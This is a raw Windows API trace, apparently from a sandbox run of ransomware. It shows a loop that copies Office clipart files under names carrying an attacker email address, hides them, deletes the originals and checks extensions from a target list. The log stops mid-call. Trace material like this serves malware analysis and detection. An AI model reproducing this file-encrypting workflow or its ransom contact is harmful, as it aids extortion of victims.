[0303.468] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0303.468] GetLastError () returned 0x0 [0303.468] ReadFile (in: hFile=0x36c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x23d4, lpOverlapped=0x0) returned 1 [0303.470] WriteFile (in: hFile=0x380, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x23e0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x23e0, lpOverlapped=0x0) returned 1 [0303.471] ReadFile (in: hFile=0x36c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0303.471] WriteFile (in: hFile=0x380, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0303.473] SetEndOfFile (hFile=0x380) returned 1 [0303.473] CloseHandle (hObject=0x380) returned 1 [0303.474] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.474] SetEndOfFile (hFile=0x36c) returned 1 [0303.475] CloseHandle (hObject=0x36c) returned 1 [0303.475] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.475] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf")) returned 1 [0303.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0303.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0303.476] lstrlenW (lpString=".doc") returned 4 [0303.476] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.476] lstrlenW (lpString=".docx") returned 5 [0303.476] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.476] lstrlenW (lpString=".pdf") returned 4 [0303.476] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.476] lstrlenW (lpString=".xls") returned 4 [0303.476] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.476] lstrlenW (lpString=".xlsx") returned 5 [0303.476] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.476] lstrlenW (lpString=".ppt") returned 4 [0303.476] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0303.476] lstrlenW (lpString=".zip") returned 4 [0303.476] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.476] lstrlenW (lpString=".rar") returned 4 [0303.477] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.477] lstrlenW (lpString=".bz2") returned 4 [0303.477] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.477] lstrlenW (lpString=".7z") returned 3 [0303.477] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0303.477] lstrlenW (lpString=".dbf") returned 4 [0303.477] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0303.477] lstrlenW (lpString=".1cd") returned 4 [0303.477] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0303.477] lstrlenW (lpString=".jpg") returned 4 [0303.477] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.480] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.481] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0303.481] GetLastError () returned 0x0 [0303.482] ReadFile (in: hFile=0x36c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x31cc, lpOverlapped=0x0) returned 1 [0303.483] WriteFile (in: hFile=0x380, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x31d0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x31d0, lpOverlapped=0x0) returned 1 [0303.484] ReadFile (in: hFile=0x36c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0303.484] WriteFile (in: hFile=0x380, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0303.484] SetEndOfFile (hFile=0x380) returned 1 [0303.485] CloseHandle (hObject=0x380) returned 1 [0303.485] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.485] SetEndOfFile (hFile=0x36c) returned 1 [0303.488] CloseHandle (hObject=0x36c) returned 1 [0303.488] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.488] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf")) returned 1 [0303.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0303.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0303.489] lstrlenW (lpString=".doc") returned 4 [0303.489] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.489] lstrlenW (lpString=".docx") returned 5 [0303.489] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.489] lstrlenW (lpString=".pdf") returned 4 [0303.489] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.489] lstrlenW (lpString=".xls") returned 4 [0303.489] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.489] lstrlenW (lpString=".xlsx") returned 5 [0303.489] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.489] lstrlenW (lpString=".ppt") returned 4 [0303.489] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0303.489] lstrlenW (lpString=".zip") returned 4 [0303.489] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.489] lstrlenW (lpString=".rar") returned 4 [0303.489] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.490] lstrlenW (lpString=".bz2") returned 4 [0303.490] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.533] lstrlenW (lpString=".7z") returned 3 [0303.533] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0303.534] lstrlenW (lpString=".dbf") returned 4 [0303.534] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0303.534] lstrlenW (lpString=".1cd") returned 4 [0303.534] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0303.534] lstrlenW (lpString=".jpg") returned 4 [0303.534] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.534] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.534] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0303.535] GetLastError () returned 0x0 [0303.535] ReadFile (in: hFile=0x390, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x1b08, lpOverlapped=0x0) returned 1 [0303.536] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1b10, lpOverlapped=0x0) returned 1 [0303.537] ReadFile (in: hFile=0x390, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0303.537] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0303.537] SetEndOfFile (hFile=0x36c) returned 1 [0303.537] CloseHandle (hObject=0x36c) returned 1 [0303.537] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.537] SetEndOfFile (hFile=0x390) returned 1 [0303.538] CloseHandle (hObject=0x390) returned 1 [0303.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.539] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf")) returned 1 [0303.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0303.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0303.539] lstrlenW (lpString=".doc") returned 4 [0303.539] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.539] lstrlenW (lpString=".docx") returned 5 [0303.539] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.539] lstrlenW (lpString=".pdf") returned 4 [0303.539] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.539] lstrlenW (lpString=".xls") returned 4 [0303.539] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.539] lstrlenW (lpString=".xlsx") returned 5 [0303.539] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.539] lstrlenW (lpString=".ppt") returned 4 [0303.539] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0303.540] lstrlenW (lpString=".zip") returned 4 [0303.540] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.540] lstrlenW (lpString=".rar") returned 4 [0303.540] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.540] lstrlenW (lpString=".bz2") returned 4 [0303.540] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.540] lstrlenW (lpString=".7z") returned 3 [0303.540] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0303.540] lstrlenW (lpString=".dbf") returned 4 [0303.540] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0303.540] lstrlenW (lpString=".1cd") returned 4 [0303.540] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0303.540] lstrlenW (lpString=".jpg") returned 4 [0303.540] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.540] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.540] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0303.541] GetLastError () returned 0x0 [0303.541] ReadFile (in: hFile=0x390, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x4e8, lpOverlapped=0x0) returned 1 [0303.542] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x4f0, lpOverlapped=0x0) returned 1 [0303.543] ReadFile (in: hFile=0x390, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0303.543] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0303.543] SetEndOfFile (hFile=0x36c) returned 1 [0303.796] CloseHandle (hObject=0x36c) returned 1 [0303.796] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.796] SetEndOfFile (hFile=0x390) returned 1 [0303.797] CloseHandle (hObject=0x390) returned 1 [0303.797] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.797] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf")) returned 1 [0303.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0303.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0303.798] lstrlenW (lpString=".doc") returned 4 [0303.798] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.798] lstrlenW (lpString=".docx") returned 5 [0303.798] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.798] lstrlenW (lpString=".pdf") returned 4 [0303.798] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.798] lstrlenW (lpString=".xls") returned 4 [0303.798] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.798] lstrlenW (lpString=".xlsx") returned 5 [0303.798] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.798] lstrlenW (lpString=".ppt") returned 4 [0303.798] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0303.798] lstrlenW (lpString=".zip") returned 4 [0303.798] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.798] lstrlenW (lpString=".rar") returned 4 [0303.798] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.798] lstrlenW (lpString=".bz2") returned 4 [0303.798] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.798] lstrlenW (lpString=".7z") returned 3 [0303.798] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0303.798] lstrlenW (lpString=".dbf") returned 4 [0303.798] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0303.798] lstrlenW (lpString=".1cd") returned 4 [0303.798] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0303.799] lstrlenW (lpString=".jpg") returned 4 [0303.799] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.799] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.799] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0303.800] GetLastError () returned 0x0 [0303.800] ReadFile (in: hFile=0x390, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0xa442, lpOverlapped=0x0) returned 1 [0303.801] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xa450, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xa450, lpOverlapped=0x0) returned 1 [0303.803] ReadFile (in: hFile=0x390, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0303.803] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0303.803] SetEndOfFile (hFile=0x36c) returned 1 [0303.804] CloseHandle (hObject=0x36c) returned 1 [0303.804] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.804] SetEndOfFile (hFile=0x390) returned 1 [0303.805] CloseHandle (hObject=0x390) returned 1 [0303.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.805] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf")) returned 1 [0303.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0303.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0303.806] lstrlenW (lpString=".doc") returned 4 [0303.806] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.806] lstrlenW (lpString=".docx") returned 5 [0303.806] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0303.806] lstrlenW (lpString=".pdf") returned 4 [0303.806] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.806] lstrlenW (lpString=".xls") returned 4 [0303.806] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.806] lstrlenW (lpString=".xlsx") returned 5 [0303.806] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0303.806] lstrlenW (lpString=".ppt") returned 4 [0303.806] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0303.806] lstrlenW (lpString=".zip") returned 4 [0303.806] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.806] lstrlenW (lpString=".rar") returned 4 [0303.806] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.806] lstrlenW (lpString=".bz2") returned 4 [0303.806] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.806] lstrlenW (lpString=".7z") returned 3 [0303.806] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0303.806] lstrlenW (lpString=".dbf") returned 4 [0303.806] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0303.806] lstrlenW (lpString=".1cd") returned 4 [0303.806] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0303.806] lstrlenW (lpString=".jpg") returned 4 [0303.807] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.807] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.807] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0303.808] GetLastError () returned 0x0 [0303.808] ReadFile (in: hFile=0x390, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x136a, lpOverlapped=0x0) returned 1 [0303.808] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1370, lpOverlapped=0x0) returned 1 [0303.809] ReadFile (in: hFile=0x390, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0303.809] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0303.809] SetEndOfFile (hFile=0x36c) returned 1 [0303.809] CloseHandle (hObject=0x36c) returned 1 [0303.810] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.810] SetEndOfFile (hFile=0x390) returned 1 [0303.810] CloseHandle 